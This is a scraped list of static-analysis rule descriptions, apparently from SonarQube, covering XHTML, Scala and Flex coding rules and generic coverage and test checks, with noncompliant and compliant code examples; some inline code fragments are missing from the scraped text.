This rule allows to ban declaration of some namespaces in the root element of XHML documents. Noncompliant Code ExampleWith a "namespaces" value of "http://java.sun.com/jsf/facelets": <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:ui="http://java.sun.com/jsf/facelets" <!-- Noncompliant --> xmlns:h="http://java.sun.com/jsf/html" xmlns:f="http://java.sun.com/jsf/core"> Compliant Solution<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:h="http://java.sun.com/jsf/html" xmlns:f="http://java.sun.com/jsf/core"> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-xml:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-xml:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-xml:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-xml:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-xml:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-xml:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-py:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-py:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-py:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-py:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-py:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-py:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-vbnet:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-vbnet:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-vbnet:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-vbnet:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-vbnet:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-vbnet:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S117 |
Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a local variable or function parameter name does not match the provided regular expression. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S138 |
A method that grows too large tends to aggregate too many responsibilities. Such method inevitably become harder to understand and therefore harder to maintain. Above a specific threshold, it is strongly advised to refactor into smaller methods which focus on well-defined tasks. Those smaller methods will not only be easier to understand, but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1481 |
If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1821 |
Nested Specifically, you should structure your code to avoid the need for nested Noncompliant Code Exampledef foo(n: Int, m: Int): Unit = { n match { case 0 => m match { case 0 => // ... } case 1 => // ... } } Compliant Solutiondef foo(n: Int, m: Int): Unit = { n match { case 0 => bar(m) case 1 => // ... } } def bar(m: Int): Unit = { m match { case 0 => // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S3923 |
Having all branches in a Noncompliant Code Exampleif (b == 0) { // Noncompliant doSomething } else { doSomething } i match { // Noncompliant case 1 => doSomething case 2 => doSomething case 3 => doSomething case _ => doSomething } ExceptionsThis rule does not apply to if (b == 0) { doSomething } else if (b == 1) { doSomething } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S100 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression. Noncompliant Code ExampleWith default provided regular expression: def DoSomething( ) : Unit = { // Noncompliant // ... } Compliant Solutiondef doSomething( ) : Unit = { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S122 |
For better readability, do not put more than one statement on a single line. Noncompliant Code Exampleprintln("Hello"); println("world!") Compliant Solutionprintln("Hello") println("world!") |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S101 |
Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names match a provided regular expression. Noncompliant Code ExampleWith default provided regular expression class my_class {...} Compliant Solutionclass MyClass {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1186 |
There are several reasons for a method not to have a method body:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1066 |
Merging collapsible Noncompliant Code Exampleif (file != null) { if (file.isFile || file.isDirectory) { /* ... */ } } Compliant Solutionif (file != null && isFileOrDirectory(file)) { /* ... */ } def isFileOrDirectory(file: File): Boolean = file.isFile || file.isDirectory |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1067 |
The complexity of an expression is defined by the number of A single expression's complexity should not become too high to keep the code readable. Noncompliant Code ExampleWith the default threshold value of 3: if (((condition1 && condition2) || (condition3 && condition4)) && condition5) { ... } Compliant Solutionif ((myFirstCondition || mySecondCondition) && myLastCondition) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1144 |
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1145 |
There are three possible causes for the presence of such code:
In any of these cases, unconditional Noncompliant Code Exampleif (true) { doSomething } // ... if (false) { doSomethingElse } Compliant SolutiondoSomething // ... See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1125 |
Redundant Boolean literals should be removed from expressions to improve readability. Noncompliant Code Exampleif (booleanMethod() || false) { /* ... */ } doSomething(!false) booleanVariable = if (booleanMethod()) true else false booleanVariable = if (booleanMethod()) true else exp booleanVariable = if (booleanMethod()) false else exp booleanVariable = if (booleanMethod()) exp else true booleanVariable = if (booleanMethod()) exp else false Compliant Solutionif (booleanMethod()) { /* ... */ } doSomething(true) booleanVariable = booleanMethod() booleanVariable = booleanMethod() || exp booleanVariable = !booleanMethod() && exp booleanVariable = !booleanMethod() || exp booleanVariable = booleanMethod() && exp |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1763 |
Jump statements ( Noncompliant Code Exampledef foo(a: Int) { val i = 10; return a + i; // Noncompliant bar; // dead code } Compliant Solutiondef foo(a: Int): Int { val i = 10; return a + i; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1862 |
A Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior. For a Noncompliant Code Exampleif (param == 1) { openWindow } else if (param == 2) { closeWindow } else if (param == 1) { // Noncompliant moveWindowToTheBackground } param match { case 1 => // ... case 3 => // ... case 1 => // Noncompliant // ... case _ => //... } Compliant Solutionif (param == 1) { openWindow } else if (param == 2) { closeWindow } else if (param == 3) { moveWindowToTheBackground } param match { case 1 => // ... case 3 => // ... case _ => //... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1940 |
It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead. Noncompliant Code Exampleif (!(a == 2)) { ...} // Noncompliant val b = !(i < 10) // Noncompliant Compliant Solutionif (a != 2) { ...} val b = (i >= 10) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1764 |
Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified. ExceptionsThis rule ignores See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S108 |
Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed. Noncompliant Code Exampleif (i < 10) {} // Empty on purpose or missing piece of code ? ExceptionsWhen a block contains a comment, this block is not considered to be empty. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S107 |
A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S126 |
This rule applies whenever an The requirement for a final The Noncompliant Code Exampleif (x == 0) { doSomething } else if (x == 1) { doSomethingElse } Compliant Solutionif (x == 0) { doSomething } else if (x == 1) { doSomethingElse } else { throw new IllegalStateException } ExceptionsWhen all branches of an See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1192 |
Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences. On the other hand, constants can be referenced from many places, but only need to be updated in a single place. Noncompliant Code ExampleWith the default threshold of 3: public def run() { prepare("action random1") // Noncompliant - "action random1" is duplicated 3 times execute("action random1") release("action random1") } Compliant Solutionpublic def run() { val action = "action random1" prepare(action) execute(action) release(action) } ExceptionsTo prevent generating some false-positives, literals having 5 or less characters are excluded as well as literals containing only letters, digits and '_'. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S104 |
A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S105 |
Developers should not need to configure the tab width of their text editors in order to be able to read source code. So the use of the tabulation character must be banned. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1172 |
Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1151 |
The Noncompliant Code ExampleWith the default threshold of 5: myVariable match { case 0 => // Noncompliant: 6 lines till next case methodCall1() methodCall2() methodCall3() methodCall4() methodCall5() case 1 => // ... } Compliant SolutionmyVariable match { case 0 => doSomething() case 1 => // ... } // ... def doSomething(): Unit = { methodCall1() methodCall2() methodCall3() methodCall4() methodCall5() } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S103 |
Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S125 |
Programmers should not comment out code as it bloats programs and reduces readability. Unused code should be deleted and can be retrieved from source control history if required. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1479 |
When |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1656 |
There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead. Noncompliant Code Exampledef doSomething() = { var name = "" // ... name = name } Compliant Solutiondef doSomething() = { var name = "" // ... this.name = name } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:ParsingError |
When the parser fails, it is possible to record the failure as an issue on the file. This way, not only is it possible to track the number of files that do not parse but also to easily find out why they do not parse. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S4663 |
An empty multi-line comment is likely to be a mistake and doesn't help to improve the readability of the code. For these reasons, it should be removed. Noncompliant Code Example/* */ /* */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S134 |
Nested Such code is hard to read, refactor and therefore maintain. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S4144 |
When two methods have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other. Noncompliant Code Exampleclass Box(length: Int, width: Int, height: Int) { def volume: Int = { val s = length * width s * height } def area: Int = { val s = length * width s * height } } Compliant Solutionclass Box(length: Int, width: Int, height: Int) { def volume: Int = { val s = length * width s * height } def area: Int = { length * width } } ExceptionsMethods with fewer than 2 statements are ignored. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1451 |
Each source file should start with a header stating file ownership and the license which must be used to distribute the application. This rule must be fed with the header text that is expected at the beginning of every file. Compliant Solution/* * SonarQube, open source software quality management tool. * Copyright (C) 2008-2013 SonarSource * mailto:contact AT sonarsource DOT com * * SonarQube is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * SonarQube is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S2068 |
Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source. In the past, it has led to the following vulnerabilities: Credentials should be stored outside of the code in a configuration file, a database or secret management service. This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list. It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ... Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1134 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Examplevar result = numerator / denominator // FIXME denominator value might be 0 See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1871 |
Having two Noncompliant Code Examplevalue match { case 1 => doFirstThing doSomething case 2 => doSomethingDifferent case 3 => // Noncompliant; duplicates case 1's implementation doFirstThing doSomething case _ => doTheRest } if (a >= 0 && a < 10) { doFirstThing doTheThing } else if (a >= 10 && a < 20) { doTheOtherThing } else if (a >= 20 && a < 50) { doFirstThing doTheThing // Noncompliant; duplicates first condition } else { doTheRest } ExceptionsBlocks in an if(a == 1) { doSomething //no issue, usually this is done on purpose to increase the readability } else if (a == 2) { doSomethingElse } else { doSomething } But this exception does not apply to if(a == 1) { doSomething //Noncompliant, this might have been done on purpose but probably not } else if (a == 2) { doSomething } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1135 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S3776 |
Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
scala:S1313 |
Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities: Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:
Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact. Ask Yourself WhetherThe disclosed IP address is sensitive, eg:
There is a risk if you answered yes to any of these questions. Recommended Secure Coding PracticesDon't hard-code the IP address in the source code, instead make it configurable. Sensitive Code Exampleval ip = "192.168.12.42" // Sensitive val socket = new Socket(ip, 6667) Compliant Solutionval ips = Source.fromFile(configuration_file).getLines.toList // Compliant val socket = new Socket(ips(0), 6667) ExceptionsNo issue is reported for the following cases because they are not considered sensitive:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-scala:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-scala:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-scala:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-scala:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-scala:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-scala:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-java:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-java:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-java:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-java:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-java:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-java:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-ts:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-ts:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-ts:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-ts:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-ts:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-ts:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S138 |
A function that grows too large tends to aggregate too many responsibilities. Such functions inevitably become harder to understand and therefore harder to maintain. Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks. Those smaller functions will not only be easier to understand, but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1481 |
If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for. Noncompliant Code Examplepublic function numberOfMinutes(hours:int):int { var seconds:int = 0; // seconds is never used return hours * 60; } Compliant Solutionpublic function numberOfMinutes(hours:int):int { return hours * 60; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1446 |
A dynamic class defines an object that can be altered at run time by adding or changing properties and methods. This extremely powerful mechanism should be used very carefully, and only in very limited use cases. Indeed, by definition dynamic classes make refactoring difficult and prevent the compiler from raising potential errors at compile time. Noncompliant Code Exampledynamic public class DynamicFoo {...}
Compliant Solutionpublic class Foo //Note that the class has been renamed to avoid confusion {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1447 |
In ActionScript 3, constructor code is always interpreted rather than compiled by the JIT at runtime, which is why the body of a constructor should be as lightweight as possible. As soon as a constructor contains branches ("if", "for", "switch", ...) an issue is logged. Noncompliant Code Examplepublic class Foo { public function Foo() { if (condition) { // Noncompliant // ... } } } Compliant Solutionpublic class Foo { public function Foo() { init() } private function init():void { if (condition) { // ... } } } |
